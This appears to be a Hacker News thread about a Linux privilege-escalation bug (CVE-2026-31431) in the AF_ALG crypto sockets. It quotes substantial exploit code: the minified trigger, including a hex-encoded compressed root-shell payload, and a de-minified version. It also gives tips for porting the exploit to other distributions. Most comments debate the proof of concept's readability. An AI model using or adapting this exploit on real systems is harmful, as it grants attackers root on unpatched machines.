Unfortunately it fails on calling bind() on my device, so probalby Android doesn't ship with that kenrel module by default :(. So no freedom for my $40 phone.
Putting it out here, maybe somebody else will have better luck.
[1] https://gist.github.com/alufers/921cd6c4b606c5014d6cc61eefb0...
adb shell zcat /proc/config.gz | grep CONFIG_CRYPTO_USER_API
# CONFIG_CRYPTO_USER_API_HASH is not set
# CONFIG_CRYPTO_USER_API_SKCIPHER is not set
# CONFIG_CRYPTO_USER_API_RNG is not set
# CONFIG_CRYPTO_USER_API_AEAD is not set File "/data/data/com.termux/files/home/a.py", line 5, in c
a=s.socket(38,5,0); # ...
File "/data/data/com.termux/files/usr/lib/python3.13/socket.py", line 233, in __init__
_socket.socket.__init__(self, family, type, proto, fileno)
~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
PermissionError: [Errno 13] Permission deniedTraceback (most recent call last): File "/data/data/com.termux/files/home/exploit.py", line 8, in <module> f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) ^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory: '/usr/bin/su'
Traceback (most recent call last): File "/data/data/com.termux/files/home/exploit.py", line 9, in <module> while i<len(e):c(f,i,e[i:i+4]);i+=4 ^^^^^^^^^^^^^^^ File "/data/data/com.termux/files/home/exploit.py", line 5, in c a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) ^^^^^^^^^^^^^^^^ File "/data/data/com.termux/files/usr/lib/python3.12/socket.py", line 233, in __init__ _socket.socket.__init__(self, family, type, proto, fileno) PermissionError: [Errno 13] Permission denied
Not using setuid anywhere means you'd have to build a slightly more clever exploit, but it's still trivial - just modify some binary you know will run as root "soon".
But... I didn't check, but IIRC the untrusted_app secontext that apps run in is not allowed to open AF_ALG sockets - so you can't directly trigger the vulnerability as a malicious app. Although it might be possible in some roundabout way (requesting some more privileged crypto service to do so).
~~My allegedly fully patched pixel 8 pro allowed an AF_ALG socket to open under termux without virtualization so I'm not sure the last but is true~~
Looking at their source code [1] it starts with this simple line:
import os as g,zlib,socket as s
And already I'm perplexed. "os as g"? but we're not aliasing "zlib as z"? Clearly this is auto-generated by some kind of minimizer? Likely because zlib is called only once, and os multiple times. As a code author/reviewer, I would never write "os as g" and I would absolutely never approve review of any code that used this.
Anyway, I could go on. :) Let's just stop fetishizing byte count
[1] https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/m...
If you wanted real savings, you'd use "d=bytes.fromhex" instead of defining a function -- 17 bytes!! And d('00') -> b'\0' for -2 bytes.
We could easily get the byte count down further by using base64.b85decode instead of bytes.fromhex (-70 or so), but ultimately we're optimizing a meaningless metric, as you mention.
But the fact that it's not a kernel-exec LPE and it's reliable across kernels and distributions is important; it's close to the maximum "exploitability" you're going to see with an LPE. Which the page does communicate effectively; it just gilds the lily.
But the bug is real and people should patch :)
For the size: sometimes people will shove in kilobytes of offset tables or something into an exploit, so it'll fingerprint and then look up details to work. This is much smaller because it doesn't need any of that, which is important for severity. (I agree the "golf" nature is a bit of an aside, kind of like pwn2own exploits taking "10 seconds")
Where do you see this "fetishizing" happening most often? It's a strange thing to counter-fetishize about.
From a Busy Beaver, 256-bytes compo, or Dwitter perspective, 732 bytes isn’t really that meaningful.
And the sample exploit is even optimizing the byte size by using zlib compression, which doesn’t make much sense for the purpose. It just emphasizes the byte count fetishization.
Assuming AI was correct, it unpacks more or less like this
import os, zlib, socket
AF_ALG = 38
SOCK_SEQPACKET = 5
SOL_ALG = 279
def hex_bytes(x):
return bytes.fromhex(x)
sock = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
sock.setsockopt(SOL_ALG, 1, hex_bytes("0800010000000010" + "0" * 64))
sock.setsockopt(SOL_ALG, 5, None, 4)
op, _ = sock.accept()
length = offset + 4
zero = b"\x00"
op.sendmsg(
[b"A" * 4 + patch4],
[
(SOL_ALG, 3, zero * 4),
(SOL_ALG, 2, b"\x10" + zero * 19),
(SOL_ALG, 4, b"\x08" + zero * 3),
],
32768,
)
read_pipe, write_pipe = os.pipe()
os.splice(fd, write_pipe, length, offset_src=0)
os.splice(read_pipe, op.fileno(), length)
try:
op.recv(8 + offset)
except:
pass
payload = zlib.decompress(bytes.fromhex("..."))
offset = 0
while offset < len(payload):
trigger(target, offset, payload[offset:offset + 4])
offset += 4
"The honest solution: a clean 50-line cut" and so on, ad nauseam
How often do you review, and subsequently block the release, of PoCs in this sort of context? Sounds like you've faced this a lot.
I always thought code quality mattered less in those, as long as you communicate the intent.
If you have a choice between pointing out the byte size of the exploit, and not pointing out the byte size of the exploit, pointing it out is virtually always the wrong choice.
In both cases, doing the right thing is less work. So somebody is going the extra way to ensure they are doing it wrong. If they didn't care, they'd end up doing it right by default.
How does "import os as g" communicate the intent? How does hiding the payload behind zlib communicate the intent? This is the opposite: obfuscating the intent, so they can brag about 732 bytes instead of 846 bytes (or whatever it might have been).
It would have been less work for everyone involved to just release the unminified source.
"Just" is doing a lot of work there, I'm so annoyed reading it.
It's like an anti-ad and they had pretty cool material to work with.
* Claude loves stacatto "Some numeric figure. Something else. Intensifier" (ex. the "exploitable for a decade." or whatever sentences)
Then go on. zlib is only used once, so "zlib as z" in exchange for using z once doesn't get you anything. Using os directly and not renaming it g saves you 2 bytes though. But in this age where AI outputs reams of code at the drop of a hat, why shouldn't we enjoy how small you can get it to pop a root shell?
https://gist.github.com/fragmede/4fb38fb822359b8f5914127c2fe...
edit: If we drop offset_src=0 and just pass in 0 positionally, it comes down to 720.
Because I want to know what the exploit is doing and how it works, and if it's even safe to run.
A privesc PoC is NOT the place for this kind of fun.
Which I guess is true but I would like to verify the attack is the intended one
lucky for them, its an exploit script, not enterprise code.
all that needs to be "reviewed" is whether or not it exploits the thing its supposed to.
edit: yall really think a 10-line proof of concept script needs to undergo a code review? wild. i shouldnt be surprised that the top comment on a cool LPE exploit is complaining about variable naming
Maybe you didn't care, but the length of this comment chain clearly shows that it matters. Effective communication is just as important as the engineering.
i just dont understand huffing and puffing over "os as g" in a 10-line poc script, and saying "well i would never approve this". its not enterprise code. its not code that will ever be used anywhere else, for anything. its sole purpose is to prove that the exploit is real, which it does!
the rest of the information is in the actual vulnerability report. the poc is a courtesy to the reportee, so that they can confirm that the report itself isnt bullshit.
evidently, given the downvotes i am getting, people think exploit scripts should be enterprise quality code. ¯\_(ツ)_/¯ half of the reports i see flowing through mailing lists dont even have a poc.
amazingly HN-like to be upset about a variable name
And this code is not readable at all. It is failing at letting people confirm the exploit easily.
that is contained in the report, which will look similar to the blog. the maintainers will have an open line of contact with the reporters as well. the poc is a small part of the entire report. its not like the linux maintainers only received this poc and have to work out the vulnerability from it alone.
>It is failing at letting people confirm the exploit easily.
it confirms the exploit incredibly easy. just run it, and you get confirmation.
For all I know the blog itself is a honey pot. I need to know what the code does before I run it.
its literally code meant to exploit your system. you should be running it in an environment built for that already.
you dont test exploit pocs on your daily driver.
i bet if i told you their names, you would instantly know what vulns those are.
its easier to talk about things with names. it hurts no one. it takes approximately no effort or time.
CVEs are, for whatever reason, like the only thing on the planet that people seem to have a problem with when they receive a name. i am not sure why.
What, you guys talk about books based on their “title” instead of just memorising the ISBN of each book? Pssh, count me disappointed!
I guess it’s a good thing I’m not a SovCit or I’d just have to call them Traveller Three and Traveller Four
Very few CVE’s get names dedicated to them like this, because usually when they do - it is very serious, as in this case.
1. Yes, it's real.
2. Current chain can write any arbitrary content to any user-readable file (into the page cache).
3. Current chain relies on an available target suid binary that you can open() as a lowpriv user.
4. Current exploit relies on that binary being /bin/su and then being able to execve(/bin/sh, 0, 0) (which doesn't work on alpine, etc.). The former is easily replaced in the code. The latter needs a rebuilt payload ELF (also easy).
5. The authors say they have other chains (including ones that allow container escapes). I believe them.
6. A mildly de-minified PoC for Alpine with a new payload ELF is at hackerspace[pl]/~q3k/alpine.py . You'll need /bin/ping from iputils. This should be now somewhat reliable on any distro that has a `/bin/sh` and any setuid-and-readable binary (you'll just need to find it on your own).
https://object.ceph-waw3.hswaw.net/mastodon-prod/media_attac...
https://github.com/bottlerocket-os/bottlerocket/security/adv...
Interesting detail. On Alpine, `/usr/bin/su` is not readable by any user, so the PoC doesn't work.
I suspect that the underlying issue can be exploited in other ways, but it makes me think that there's no reason for any suid binary to be world-readable.
